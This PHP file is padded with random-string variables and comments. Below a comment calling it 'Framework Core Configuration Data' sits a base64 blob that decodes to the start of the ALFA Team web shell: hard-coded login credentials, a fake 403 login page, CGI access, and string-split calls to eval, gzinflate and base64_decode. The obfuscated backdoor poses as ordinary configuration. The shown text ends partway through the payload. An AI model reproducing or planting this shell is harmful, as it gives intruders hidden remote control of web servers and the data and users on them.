$hRYrfBcuRpn='R1ElOyiRnWfC2HYvJmlpID0pmnSCvYFdefmj3poRu53NT';
$ZN7wFRR='ZKUstCZqGBdbKl0MvW6ysScL0vdhT6UNkqlAQUIMN7';
// WZXEPIJd1doAxsCGjpxIe6sqNN4o9WPwq8Pd3vXFBfkrQ0J472pzcqm5htUBmPAxhMQ
$RmicAEhcSiQ0d='RwswSy8i80nzIGtAVSHvNrB2fwWTI4mlN5863X0bv3';
// 6xmb9UljEsxSsYmEfUUZUpV0ZN61D2knuSVYnT5RKAGBncvKq1qikWNh
$XkheKTLC8JmO4J='zfhZ5Z0O4yfCVbinppX9UdswMin6XUHjPQH0u1PY';
// KJmoz2nfTGmS91Vk71Rb4JhUHCKiB6wEIgdibz31IyvdlKlTwouK9RetgUF9JaihFFdnUCNnb0mhA
$vXFvZ2tNsr='24eKvURq956lCIBkqgWjyAhSItygDQP';
// IAns0vhK8Z4qDIWd3l81JVfUrBtBtmqpuXjdXr9u5
$Ptmpo6r='Nzwei4lkIfpr94iKqjkJuMnjYSPhjCEBiTVWQBL';
$KaMMqXxvf7='6Nruz4cLYq7pAJnLd3MiD3zv69TWHFOp5G0TowasI';
// eqdKoRwWpeIkUxbVQZSEGEDorfq9anmAQ7FRIjAfMaHr2S6tXwGl
$SmmhSRya='H24070vSEiEuNs8SOWqXCh6kmRK';
// kGxwL0i1Z6EfOXCTaHJMNZoHb7RFC2cekuDRja7rR9xcguWSKW1I2
$mNXHQvRjLwDk='PihuTdbUIW07WsYUM5MssChXBPwlnit';
$crZVRxp2B='2J0olDgsWjPDETTG21TiA4AYSN1uwV';
// J6yatUCkSwqKfXq7fBkbu3xMGqgoZzvMIcXWcZdflwoNkW24vNzpVC0KP
$ll7BSHJarDTWDC='rRkGRJwKUJIPXQnx7I8UA8fd3XAw0fxFIon60KEp6eWnUQLU';
// r8MUpLUHqqPsC4knen7Aq73XfYwuhC9f71VOAHzlzdIhiDt11foJwMVc
$WClr7WBbrXrGi='nC7QsoXuYw6WPWu7XYDbSpCVuaf8MKW3wwuu6AniSc7il1PDZwI';
// hBBGUMMCTbp90KovCIf6VtmlWVGRS9V8f545ji9QpQlCrbz
$a26IH11My0ll='GqJUVtonjT0d6JbCDOIIIVUInGJXjoCnDsyP';
$jTvJsixMxl5W5='szFThBPPWINBquxVK6pBd484J0T7DG3vBaq2I9hykem3UsgE4GTFXw9Zrq';
// tjMvIhmPke6ifHOYfxgvvIg0Kr5R9NX0RXlvjnowwXfrNuxmxYqTBfFAxm9jM2upeNvqBI4IbGspC
$EFMXdhtWUtqoTP='kcBmydDLvlPAZ9nfS3weSUd2YdljXRMR1f8qXhhTt7fd6';
// ng2wndoq529993XBMDu6WCLDaspU5pENMF7bZzpiFHVsBYZksjWoDR4y6cxDVxaG2b
$ycS0hrtG6Lxo='oFHjTdlXVdqd5idG8e9hxsIPEaWg35y6LeX1ASK';
// A8zESSH3rUl3n2QK3ZrErHU78QjLubUJzbFzJSPejLpzN8M2pVq0q2fnYnNuYuFzr
$n8glpVUd='8MOatVYeuWjYU7IGXo63YwfXOMGSyEl';
// RDR8jQmLbaNc99u4MpGOVLd3KHVnJ3o8EEJHxR7WgYusl3oW9583ZnVXLn1seED4GHGJNY
$nvH05MfSGdH4G='TW4dTAUF04yEkYsKoZPqtWULprKXoCmz2iS8oq2uU1cH5LMDZmiJkmnEU';
$RXpN5Bec='kj9whwwbSnmHlLQxPCrGHHG4k9UB';
$FSM6jAGCzU='Z7zXGub1Uutf9dRuIzjMrsjH1Jxez6OpvanPib328';
// NJ35O27lY8to8aSVN1nSXqVo2NTgJNWr0sbfW26Ep5Xj0Hd07sudwf7oiD
$hBGv28Wt3='ikVrKyOVJs7ieFt4Ey94Chyi6Qotkn';
$E7os9D6FM='XmG6dD4qG5BFqPNkdiGeyvMui13RpowYq';
// yra9pATGCrVyBlyAada0NBlTVkPsglgDyCS4mIjQoiwZGie5fkGGq7VDFFk3V6DryGDEZOgCq56E8hCO
$IhlbDKSbpG7h='Zqh9M3TbDNKHSKQoD5QGhOQ9bENqZoWJX';
$TUjmbXVUhbBISY='Bw0vgWF0YOO2H4uvlx8qfdXMwfKd8rPnv9qdja';
$MvUDjT4Y='0lkyQVN6uUc4AsKwRaiclBPUjNDR4NdcyQYxlnZPB1wOVezpuSqkgsHS';
$YAM5k3j6mboPuyw='w1bm6IStksgLnu7cTe9kHusRLxqj6Fn4CiHCe7F0rqYlv67Yo3VmY89778';
// Tb4ZLlVH1zTfZHcyXgRV8dXWIDPCJk0Evgmb3cUWuA
$kCS5eWEUII7B8='ltKwM1Ds85JxFqGBQZG68Gds1rVXE';
// hlVNa6n3auGMOqG1xDBV28smw2vv0zi2GthC0G0F4Vgz8VjMLRCgC03VCWYoXpVNN0K479Y2vQM
$xWazQffkday='hvZ1R0mn6S0I55KZbIEGIBjnA2rbaXZsw33RLFaaQT9op';
// IcNYiQvT5wXRqDyfKZUoaZiB3Lfd6Vyq5zwRGlwe
$FusiOBqJfVg='izXtBc6cyYlSyTqKn7oHqHZg4QP8h25CQ4HyhjS3';
// 2vBZ8beqRhX3fY1tff4oNtx4eDGNxfOlCsi9SoZO68foeWOAMALF6NH09olsZ
$zZeWtSHHzXb5='xm5Jua6L8xxp5TIRA5NC3LGoNb3MJ6ard5mWfJ';
// yy5HWKQ2bxuMRUxlxR6UGOoHucQL19jGb0SO9PqUxv8l6JLOecR1zmw16vmDks6dMScPQWbls2qkCz
$bPLJ1r01W68='87GyGnk6XuKpU1PQFrLhYkHhcGUruEH2Ck6x5NRBo7lanhyc';
// G93aUto9cTgyNGtCSeI1pXjwOEKMPGE7t3PCPVeYeWcLLQdnInQEJOKFUB
$tYHr3tt1PX='Z9YNCE7fbmqxynDavwM9W3Hr3Nb0Re0F3WdIPF';
$YAzDEXr0hka='pu0hpnUNTKQLycbjPPtnjRK2PrRrlm90rfIEj33DE0ez8adK';
// PyllPwUVNBBEXJgZYC6YDnjwNoL9p7jPDmlmSKntf5mmjfG3QtLRUXoQ3wmasT5TyJOdX4qo3f
$uPfMQYNbvlbsd='wKawoirlD4z22N9BR6CMKmGPf6YG6Y3xuR9xH50OKQaSj4sj9Es';
// u5VyRwCqePwY4MEvVAlzxzr5TJ3miEtvmrq1Nuff8j1rz0qJFsgArxWD
$QAf6x6GTErrVaM='gFbxEfXaBduArvf1AbTphrZLZdUDA2kdwvm8VVXODbncr80gZuMAx2rKIl';
$pOWIKyDfqk='o4t6Hbe90bxGNvbYFovxYaYlmdcWeGusuXQhV';
$jwBetO4xoq='xq8WXXFUyD73eT4ubsEUV1MVX2SpCvgq7RDd21F8RumUlvjxl';
$bkazOm1AndrbLB='LHTBIF52Vhzpt1DPSYKlwvk8Fll183zjb';
$BUlTncHqPk='DJyyHIIP4U6PaMWqB5wMRCivZjU2ipTF';
// C1dLBgH1iasNuEeaIdFpufydGVyfJWGkbYhUbOcZ33u
$DfcQF7Clh43BF='YMS6aZezrIp31aLFl5CInGWbl9vw4jBiqhbJEk9cFpOy9x9O';
// GxTnuI86r5l1uahicU4R0sMZRmytkdyIcQsD65W3u3TPzEzQOS0paXTgS0kgTfswsoQSi1TRl
$hxtrNxFIp2rpbpS='v7hZmR6cqoQIawhtOZe0PEQVP8km';
$zcNmf04wTV10i='guFGPrz7ym0X0Fy68tPo358TiKZErINYvZuW';
// 3YrfkfnwCHhZVt8t8VjCC82B74EUgcV2lTWjzQHRRKVNkrbtu1KOIB
$Jx2Wh7zEpi6='sv053eD8fEDeuqoOGXhg3lW0rvVlw';
// emW1YN118upuzKGZLBgwgoCDhfzFD1rK2UCSyTOKP3CZhnbBcEuE61KSP33n4LLmtCZ2UQJ
$Uw17NwtfXL='0yYMFgUShlsJjaQ0hVQbdar04';
// aSQQV3hvbCmOWqks4756ZYdzqqOfUNFyvtZrjlOqbSiSRDfqDUPORKgKmfmm3xZJwD8WJVHyN
$qm307C0NVTGw='gD6QSkP3c4Wop0tcnR1JjccIlOvs8eF';
// Klg9Xo0hQcoerUbAKxMjQoBIJDrLQMA1855KpqpmiVZBMU
$TfjBlizqDw3VZqY='NAZqCZuXVh6AGPnQseoVp0fIoIE3g';
$Ek5tlrqKfuNm='PBQMuPI0CZE7W2MX8OPP52EiGBPkc6Oj9swXfS0TSJIiDjLSwLDFcn4lk';
// yBftATQn8VkzL80Gz45aOlalthbMySgg3vxeQMlDLcPQK9QKOvgRc6IX2HJpxAw
$Q1abKgwmctCPnL='ond0BxPUJlX11zo8q4ACWbn6wzKr';
// udWxA73Lz3Rj06zq7mOn6jT2MEaujGpM6D9K9Ym4vX0fjk8OSrv8TxtQaZp5ffWYxU
$WkU798C='8pyb6tfzbHld6p8gH46FkU0YAPkNqEwgfZ0atVJn2dbQ5z4ZJJX';
// EtVlG2xnPm8KBu7mPgMc84B1vRmNmHi3Lm70PFsiOkKriGJAXCnXSydC2Wsw2mqMq78fkd1KZFiH7
$YNm2jN2mNXxbw='NoGuVeIrpeZhF1KOiR2jjHDQiw8NzkL5IExXZrfcJMTicgZ3K5uq';
// EtaTMaXQ2z403BZ5pfhr4VX0lzXxaoLvazAiMZzN4cSEIBxVRATHXk4SqAA6H7Jh1bkHdOn
$b2CfwebHro6ZgG='ShN4fn0KZafIBB5pTgFAO8l5tskNZ9zJeJvKv9MQ';
$G5JYG3fS='46zGhCECaZAR4KX97ZXqn2Suor7YzayFQUlDMuMR1kQ1qcNs';
$dBUBux='tsTpW1n5OXH3asZeMpb9319zA2lAWHa7NaTUIqxUS1PWt';
$HxxgTpSSMt1PAWF='1ckRhWS3MmVIHKu7mkeKAw5b3oJmb7a';
// WflktYzVkRktfBfHSAk8b39njr2Uw4qYBtzwzN5QjQBRLKARg2RjFN6tlfZaEpyEnyxdqS338
$EP6rizS9dq='IbIhSDu0Ni2YK6rWLtRTE1rzuUpzUKOR35mLvVlqyECdtypFb1egNMZ4R12S';
// KrJHOt9qpTLzDjY5BM5oWRQn6g4VoYdZdF8onmpUOIzLNf2MjMFYt8FcG
$H5jhzEPLi='5IomzcrIACA4Vnv3zmA6KcNaIW8O';
// QVt5Wg42DhUL2bHxW9yEQxQi5DiXgAQBfFw26NB50BQ
$adj2124v9r='RhqeGKfs9UezFcsdIQ6Hx81Sv947M';
$dNRP1pAmVypjitz='YRxmNir1ZXsXa8wa9Wlt4MUpT57a8GWK0fEvFgV';
// 6coFPZsk4UOmJXaeS3n4Wbnh53lAPoVF6MDHfJfHBShUIG1rIPP
$kghMKmSHPIU4LsV='mhX43dkYULJDKXWLGTTZzmMsHkY4sfgX5mZQAa0SnufY3idmmS2';
// YGu1wjAhwmTFZwy4vGkAbRg5YfoSKw7q9berPtZqPzBXplTz2ixYmVN2VZ3YLQWRbmB8RN8C
$mwxQH6R='MxoOEgmSaX32bR14tDKpRL1usCPZ0tQbBxU0KCeQiGEJt9';
// l5LCwidCJX4EAmqGxUePdrJ9GUV9d1t1HrA1x9mLwTNopZoLlq7VUf
$Ncm6bib5fVj='grV4BI1Gwa6FvhvpLUxgSIP4tZqSyynfVJ1lstQiv61awGyTAjUrsUa1';
$ZgiBtzeo3Xhw='gfX8I1SRGqZ5va9ckYTFrVj0LVp7tPmmVcKHZDhsA1GjI';
// ClW3VV9q5o9KKPJ9ZAjl1GPy502G77pXMoJjy6VObrtTT2uI4YFfWBV6CHqHAUYNG
$b7nAFmPLBw='qaWu1nS67kX3OEm4ftBs6kT3Lf0hVqfkDAOKMoxhS1vIPfxYzCUFdTu5';
$Ef5sURA6fV='K5T4JTdvPWnKHYqr1K0oQ37VQKm';
// WwQbZpZD65m4y3M3hURXbhKsq1RhM6WLeO8cIZwjplHq9K8D85GePoriWb6t7ZMgLJAu7d3Sx3HeigE
$pZGuYhp7LQjsY='oZzwUIuxK3Cpsf8JD93TvfpDmw';
// XZl4NTPhgbjNo2JgsaXPrLQBLxZwq3VUuKClH4xJAR40XkR6WtyWaeDSvHG2G4MvaSdo8IPR
$kNqpFtXl3y='PIoFJLNJjN6AcTK508fWKePORm8vllV2svGMytnk3DjnLIx1qG';
// XiUwauJ8vbfLbMVon4r7GlvBFDdC7e6PPGyCfDRMh
$KzHkcILW35ooL='LTAaYXJqIfV46yiMSpjdQlBAwTQdHQ10Ljkazp';
// 6ClwFvWTT5fiKAUFZswOvDL4jJcpLboZ9qsJkaDO1ddbxCWG5huhLn4PeScKTJULi90Yr
$chTdjgzncngm='dSJXkM6YHMtxwbSdczlISQnsDLFe';
// pVROUrNl80hJEnFuX46eff4pWmDAY7BfwP2EdJOIhkWoNs4kDGeTIfpJg8KnM
$OBo0PE3KukvbS='k6yfDzqlFPpM3jzj3m0NdCxmhFPzoyvKo1tmDOxcm4jqJUifHd9rd83X7';
// MDmZmFMfqfsGgQKBBKrBQsoDtdhXbg55zsS2arkrMaf23d4zYbR00KKOZQggEsE9nA
$pC4hyy0='XKpWWslDOP6IG6VxAHEQDwCCreHVZddm6Znt2sf8lMwhNewwUpe';
$kOquRjPNZX6TlY='36hjTvNdtslFI4QzTAIambHWTRWMcRyMeg4X5amaGnDahnzmE3zAFql1rNR5';
// FSXUtBiUaYE7YgzP2MtrdH13zeFC9foCt2wuHfHXexKOz5pbMU28hBegp8JvVqI9lWq6PUt34Hts
$XsNIMZps4='0RC1K92GLxaNkwbiA2HUtcDMcxIYD08RbuFUXE5bQ';
$ioYUYezpWf3='TiBiHbeatubESEymTxeeHpyVKcEMAXLrSu6bNWvkP';
// INyWg6sSumKzbU8aj1T7l5siImwa6XiMwCFzdiHR8T
$mz44WMFZz='eeJ7UX75zU1Ays8dgyiN5AoQAvH5EmIRsLhR85';
// Eor0eQb4u0tvYLJJXTGssYrBx04xQIn2AKKt7z14jcXu
$mmKYMeyDmsv92='fvRnYYUFKbvpMgKJj1u5KYhlchEEZoeTjkSiIKcpKA8Nlesij9NCokCZ';
// uckx2TdRufsL66k7VQQWaZV9HCDiipt1FQzQ4oaLm
$LYKhaxiKEw='xb3dgN9QV0vNXWnJX8CikXSJDBhTS4BLsLJMlkDj8pv';
// PXDFx0C690IE8Jpz3QpNRZgEfzerN7UP3JXiHMhVSeBEQ
$UMVrhj='iCkzPJCPIXPzRWwvqrEKkqTTg4tbIeT9aanJ';
$MP2AX6JqrKvYvD='vUIx6NBTFbQAkodWW7EM0pmRuUDvuUcUo8TjP6b3Ibfkjk4';
// Fj3yhhDrA13zsN9faPR5nnxBaeYgLjOOJz0Rk2aS1U8gBy
$JQQH04nqkCxYAUx='P6VMqq1MC516xgjE9XiVISR6tOilb';
$nvEw11O='WE00qdcYKH4wQwdAHl1DHziNivpGucUqZ7jjJlmRpbjd';
// Nw7N6W1I720YVpJuaZMZn8ICtA8DvbzjYhaiJ6JfcszKNVLEtvPQxm6c9I8h1MMKrW0tUNtWVpBae
$ejiYl3HHe1kUj='Xu43YrFftij2mynIgFyzrAWjCftIaW';
// h9yUSVmCsTWl2G12w8t3IPVBIT064pPIzv2EU1wufMyIDxlxa3jVepUcaeAR1I0
$t6AfLNjyYp='IzgVSu4V1jsM3KLSsLidoM9EZJNcKkCFk';
$dYlBQPAbnbHCbT='fg6iVHqLH9d3lb4c8TT13m7YQ96nVdqAno';
// AJMHAwzOUdFhOuOqT80aRPWxa8K07z67OdKdeRqW5Vl5YJ5k9jcjMaBxThcUe8l84KABKs7R9qKlF
$uAus7jgvEUI='tSaDmzOJ23fgEeke7P89LpETA7YwgUQQhwUAfFw20HIa31DutzDo';
// vBSj7qNFBeWRCXV3tvPatxYT0696s9lplLreCp19ut1Ic8NqegCsZM1JrrRZpUX031xnaVZ
$MjZ0nczEbJZzGd='C5mqfDC4UjGWY2lHx24dig7SlqjQ0qXr2f';
$Za2OBzpKbL='GRDHZNWVsuTDTDImfmFWOVEiCWu';
// 4yWbinMa5IA0bZUx8HraC3WNQb1bf0b4By9YVCDWybmOuvPC0t9TRbbPRAOAiNRHAVcap0D2erq
$lNqXJZElwJIt='4tDBpstT4pG40hodLKmg0V514kypHTOwZ';
$Mkt7Fuxs9y='rGGrgMJTv90hnGJ0aQigZLhazHeO4UhqxwOZbBRv8W';
// GwEeNgPKxIsBMGdz3SkevP5QRzFgs2toBY7IaqA9Ne7o
$aAoB04F0JmsSlBh='PQ6OWCd7NzWZ5VEFaVGsKLZV0a8J5';
// LwjN5fGqR6hCWnTzU6TgS2aK0ZSwcHp1r69EpxDQEHpyEjLVaki8jOVu1fosRRB
$pAQuX8B5hQpJnT='eEZsrg1h0m53zJUqnm3lzi7xKmBymRXquhF8SqaHJ';
// nhv1CTWRV0IUnNMISTnwLzMavjnHpWta7JfgklgoRYDL2VKiLrFAfP1
$LLx516l='RtJgoMGn4YzB8qoolWJjZXskFZGkwKNib7HeVVgUDOwf4Sk2sIrRu';
$ut6c6dsaL0RG='0ENVTGEDQxkifpWyXLlQdeDQ9Qw63mYpJjFx';
// urt1mTPeIx3cbpYudOGOR0OCotvsKSgON1BgW5N8dw
$iuKTcg='6abaLkziizvpHBeSR0zCsrHHirYi3OIxQCdcyeYSH';
// oqnesPBOUugQTn8pl7w7eR1efsjW9CNlnL91mTuQDH7zg8tvQtp5uKXU9AEig1MthkLrHwN0
$BJSRaQtbPKIpE6='GUvNALvlIa8EhCRvpV98LC5kc8ketMMDD8pV4sc2K7rC9q';
// 4HZOMrGWNyYJFY6zlyVNYCi8UoVpy4ua2dKa9ig5zOi4ylvucMVcpHXRVldwTGyB9l4Zo
$fS7E8iKcI='Hn1RCugqQhJ0O2OiA34UauZJjAtscukPsilGj5FtIulpeqK3UkajBb';
$sXTHra7aQAuMArH='n9vcAUE8cXF7PWbLvaeEpIuB77';
$X9iqlu306N2gh='DjnusfrcxTb0fF7lAGrA4XXgBvjlj1nel';
// KLliceTpCfhWlQbFkJLtpykxDoV6rVLuU4a69e7uIuHLtdw64Mh
$JKaRTFjvqg3sDYA='0jSV2IgGFlJWC5hHxBRlEFW47GT4r8np';
// MydUBnhM0wY7Zep9R2eKENgxltMzHimE4q80JOEMtT8Iv1
$MKnWqRHkM04I2Y='X2i5QxiNzmjldExNa35bE9SJ3dsNsQZmsJU1kN';
$oOX54quarSO='kQ65CqztUxHlNx4UOAyv700PGbcsbSN9uXkq3ozB7Ntw2DFo2NGy';
$wzNTlrnslmv0R4f='PlbMy02U95gMIxehBiftNSIuVgOitFC47otauKMZJlyOQm';
// qEinRA5mSmlPfFrZdljpAIivWvbRFafruoD2kHdJJuIHVEqC2Cd1Xy4iz
$gccR4fq3='DctrOklxSjbakWsRe23BT0jOqp';
// MlrMd6WFFjJLHJNWLmHw7VLINGaF5a5B4hvmQS8G3E7TZlbdN
$I5HLy5N4POSvxO='FjWWdHy5sxuJ8gkS00Yx48XFaIy0dqtvv2PzzzfqFJcqM1bmA1smsNE8FaH';
$Qy11GFr='IzQIprzVotOMxkVeJOifKsKytAF56tDasBali0TtCfY2K05VbGm5XzdlYxv';
$ZHdooyqezSd='3vsAHEaRlDW8sl7Zq2XaY6xQWqZ';
// fXdUEqZXMtbL7LY5jiIFwRsPtabrOo6Sa0oVGCWEJxtXtH
$tt6ZdReyj='eVtBP1bh6pzlXEVjmGkqSknKWwAGun6cgqZbQhYNZgJvDa5A1oi9o';
$zQdDNDt='khZFQLFMkLGJDyB3C6iCxpClaIUZ5Z4spGKsTi1ZxqNPa5w2CrLKqePs';
// LWk0SASxLOAxrxyE8UAgHiKtynS83A62HIi3JlRZrtuGT2nYDTKwQfjU7DO8
$x4M1tJW='ft53dFA00CA8pWiJAxnbWAa5uFi7G3d';
$KoFNgswntDzoc9='vOUFCd4UAziXZ3A2fdKT5YZCqkciBhkqup45uOF7H';
$yJGw9b='wbawrxkpxpqZMYM33UEQRiWA6b2sXycGblxBAQsLa6OSXvCyrKYLU28Wu8hs';
// 8pVIcveu3RxzSrrvbRgX9y35OQ5QZX6ZYjoWuF9ISbiyytRCjXbYgB9FYbLoBhI6cHcidkC4j
$GAe7Rkr='bp3MzixCj5jTFon9dVInweT9v';
$wWieZybkPk4='sO3nGNc75dfQ7t9jvO1yVHSZWpvn539Qye2PpprVcEhecXDeR9cT3E6B2';
$azlx7xNDht9Zb='RoSshqBx0MrJ9yHUOTqGlvyUooOHlyVq';
// Framework Core Configuration Data
$V2GYmnSTM1TL = 'LyoKCUF1dGhvcjogCWkvQWxmYS1UZWFtCglUZWxlZ3JhbTogCWh0dHBzOi8vdGVsZWdyYW0ubWUvCglZb3VUdWJlOiAJaHR0cHM6Ly95b3V0dWJlLmNvbS8KCUdtYWlsOgkJQGdtYWlsLmNvbQoJRGF0ZToJCU1vbmRheSwgU2VwdGVtYmVyIDE0LCAyMDIwCiovCiRHTE9CQUxTWydvWmdOeXBvUFJVJ10gPSBhcnJheSgKICAgICd1c2VybmFtZScgPT4gJ2FsZmEnLAogICAgJ3Bhc3N3b3JkJyA9PiAnYTZmNDUyZWMzMjkzZDdmYjcyYzViNjc3MjU3YjIwZWMnLC8vbWQ1KGVoc2FuKQogICAgJ3NhZmVfbW9kZScgPT4gJzAnLAogICAgJ2xvZ2luX3BhZ2UnID0+ICc0MDMnLAogICAgJ3Nob3dfaWNvbnMnID0+ICcxJywKICAgICdwb3N0X2VuY3J5cHRpb24nID0+IGZhbHNlLAogICAgJ2NnaV9hcGknID0+IHRydWUsCik7CgokQ1dwcFVESnh1ZiA9ICdmdScgLiAnbicgLiAnY3QnIC4gJ2lvbl8nIC4gJ2UnIC4gJ3hpc3QnIC4gJ3MnOwokYXp0SnRhZlVYbSA9ICdjaGEnIC4gJ3InIC4gJ0MnIC4gJ28nIC4gJ2QnIC4gJ2UnIC4gJ0EnIC4gJ3QnIC4gJyc7CiRPVnBHTnFxRlpzID0gJ2UnIC4gJ3YnIC4gJ2FsJzsKJHBzREV3R2hzeGcgPSAnZ3onIC4gJ2luZicgLiAnbGF0ZSc7CgppZiAoISRDV3BwVURKeHVmKCdiJyAuICdhJyAuICdzZTY0JyAuICdfZW4nIC4gJ2MnIC4gJ29kZScgLiAnJykpCnsKICAgIGZ1bmN0aW9uIHZjbnZTQ1pnQnooJGRhdGEpCiAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRkYXRhKSkgcmV0dXJuOwogICAgICAgICRiNjQgPSAnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0nOwogICAgICAgICRvMSA9ICRvMiA9ICRvMyA9ICRoMSA9ICRoMiA9ICRoMyA9ICRoNCA9ICRiaXRzID0gJGkgPSAwOwogICAgICAgICRhYyA9IDA7CiAgICAgICAgJGVuYyA9ICcnOwogICAgICAgICR0bXBfYXJyID0gYXJyYXkoKTsKICAgICAgICBpZiAoISRkYXRhKQogICAgICAgIHsKICAgICAgICAgICAgcmV0dXJuICRkYXRhOwogICAgICAgIH0KICAgICAgICBkbwogICAgICAgIHsKICAgICAgICAgICAgJG8xID0gJGF6dEp0YWZVWG0oJGRhdGEsICRpKyspOwogICAgICAgICAgICAkbzIgPSAkYXp0SnRhZlVYbSgkZGF0YSwgJGkrKyk7CiAgICAgICAgICAgICRvMyA9ICRhenRKdGFmVVhtKCRkYXRhLCAkaSsrKTsKICAgICAgICAgICAgJGJpdHMgPSAkbzEgPDwgMTYgfCAkbzIgPDwgOCB8ICRvMzsKICAgICAgICAgICAgJGgxID0gJGJpdHMgPj4gMTggJiAweDNmOwogICAgICAgICAgICAkaDIgPSAkYml0cyA+PiAxMiAmIDB4M2Y7CiAgICAgICAgICAgICRoMyA9ICRiaXRzID4+IDYgJiAweDNmOwogICAgICAgICAgICAkaDQgPSAkYml0cyAmIDB4M2Y7CiAgICAgICAgICAgICR0bXBfYXJyWyRhYysrXSA9IGNoYXJBdCgkYjY0LCAkaDEpIC4gY2hhckF0KCRiNjQsICRoMikgLiBjaGFyQXQoJGI2NCwgJGgzKSAuIGNoYXJBdCgkYjY0LCAkaDQpOwogICAgICAgIH0KICAgICAgICB3aGlsZSAoJGkgPCBzdHJsZW4oJGRhdGEpKTsKICAgICAgICAkZW5jID0gaW1wbG9kZSgkdG1wX2FyciwgJycpOwogICAgICAgICRyID0gKHN0cmxlbigkZGF0YSkgJSAzKTsKICAgICAgICByZXR1cm4gKCRyID8gc3Vic3RyKCRlbmMsIDAsICgkciAtIDMpKSA6ICRlbmMpIC4gc3Vic3RyKCc9PT0nLCAoJHIgfHwgMykpOwogICAgfQogICAgZnVuY3Rpb24gY2hhckNvZGVBdCgkZGF0YSwgJGNoYXIpCiAgICB7CiAgICAgICAgcmV0dXJuIG9yZChzdWJzdHIoJGRhdGEsICRjaGFyLCAxKSk7CiAgICB9CiAgICBmdW5jdGlvbiBjaGFyQXQoJGRhdGEsICRjaGFyKQogICAgewogICAgICAgIHJldHVybiBzdWJzdHIoJGRhdGEsICRjaGFyLCAxKTsKICAgIH0KfQplbHNlCnsKICAgIGZ1bmN0aW9uIHZjbnZTQ1pnQnooJHMpCiAgICB7CiAgICAgICAgJGIgPSAnYicgLiAnYScgLiAnc2U2NCcgLiAnX2VuJyAuICdjJyAuICdvZGUnIC4gJyc7CiAgICAgICAgcmV0dXJuICRiKCRzKTsKICAgIH0KfQppZiAoISRDV3BwVURKeHVmKCdiJyAuICdhJyAuICdzZScgLiAnNicgLiAnNCcgLiAnX2QnIC4gJ2Vjb2QnIC4gJ2UnIC4gJycpKQp7CiAgICBmdW5jdGlvbiB6UnRTSHNiVHpWKCRpbnB1dCkKICAgIHsKICAgICAgICBpZiAoZW1wdHkoJGlucHV0KSkgcmV0dXJuOwogICAgICAgICRrZXlTdHIgPSAiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0iOwogICAgICAgICRjaHIxID0gJGNocjIgPSAkY2hyMyA9ICIiOwogICAgICAgICRlbmMxID0gJGVuYzIgPSAkZW5jMyA9ICRlbmM0ID0gIiI7CiAgICAgICAgJGkgPSAwOwogICAgICAgICRvdXRwdXQgPSAiIjsKICAgICAgICAkaW5wdXQgPSBwcmVnX3JlcGxhY2UoIlteQS1aYS16MC05XCtcL1w9XSIsICIiLCAkaW5wdXQpOwogICAgICAgIGRvCiAgICAgICAgewogICAgICAgICAgICAkZW5jMSA9IHN0cnBvcygka2V5U3RyLCBzdWJzdHIoJGlucHV0LCAkaSsrLCAxKSk7CiAgICAgICAgICAgICRlbmMyID0gc3RycG9zKCRrZXlTdHIsIHN1YnN0cigkaW5wdXQsICRpKyssIDEpKTsKICAgICAgICAgICAgJGVuYzMgPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOwogICAgICAgICAgICAkZW5jNCA9IHN0cnBvcygka2V5U3RyLCBzdWJzdHIoJGlucHV0LCAkaSsrLCAxKSk7CiAgICAgICAgICAgICRjaHIxID0gKCRlbmMxIDw8IDIpIHwgKCRlbmMyID4+IDQpOwogICAgICAgICAgICAkY2hyMiA9ICgoJGVuYzIgJiAxNSkgPDwgNCkgfCAoJGVuYzMgPj4gMik7CiAgICAgICAgICAgICRjaHIzID0gKCgkZW5jMyAmIDMpIDw8IDYpIHwgJGVuYzQ7CiAgICAgICAgICAgICRvdXRwdXQgPSAkb3V0cHV0IC4gY2hyKChpbnQpJGNocjEpOwogICAgICAgICAgICBpZiAoJGVuYzMgIT0gNjQpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRvdXRwdXQgPSAkb3V0cHV0IC4gY2hyKChpbnQpJGNocjIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkZW5jNCAhPSA2NCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJG91dHB1dCA9ICRvdXRwdXQgLiBjaHIoKGludCkkY2hyMyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGNocjEgPSAkY2hyMiA9ICRjaHIzID0gIiI7CiAgICAgICAgICAgICRlbmMxID0gJGVuYzIgPSAkZW5jMyA9ICRlbmM0ID0gIiI7CiAgICAgICAgfQogICAgICAgIHdoaWxlICgkaSA8IHN0cmxlbigkaW5wdXQpKTsKICAgICAgICByZXR1cm4gJG91dHB1dDsKICAgIH0KfQplbHNlCnsKICAgIGZ1bmN0aW9uIHpSdFNIc2JUelYoJHMpCiAgICB7CiAgICAgICAgJGIgPSAnYicgLiAnYScgLiAnc2UnIC4gJzYnIC4gJzQnIC4gJ19kJyAuICdlY29kJyAuICdlJyAuICcnOwogICAgICAgIHJldHVybiAkYigkcyk7CiAgICB9Cn0KCmZ1bmN0aW9uIF9fWlc1amIyUmxjZygkcykKewogICAgcmV0dXJuIHZjbnZTQ1pnQnooJHMpOwp9CmZ1bmN0aW9uIF9fWkdWamIyUmxjZygkcykKewogICAgcmV0dXJuIHpSdFNIc2JUelYoJHMpOwp9CgokR0xPQkFMU1snREJfTkFNRSddID0gJEdMT0JBTFNbJ29aZ055cG9QUlUnXTsKCmZvcmVhY2ggKCRHTE9CQUxTWydEQl9OQU1FJ10gYXMgJGtleSA9PiAkdmFsdWUpCnsKCSRwcmVmaXggPSBzdWJzdHIoJGtleSwgMCwgMik7CglpZiAoJHByZWZpeCA9PSAidXMiKQoJewoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInVzZXIiXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJ1c2VyX3JhbmQiXSA9ICRrZXk7Cgl9CgllbHNlaWYgKCRwcmVmaXggPT0gInBhIikKCXsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJwYXNzIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsicGFzc19yYW5kIl0gPSAka2V5OwoJfQoJZWxz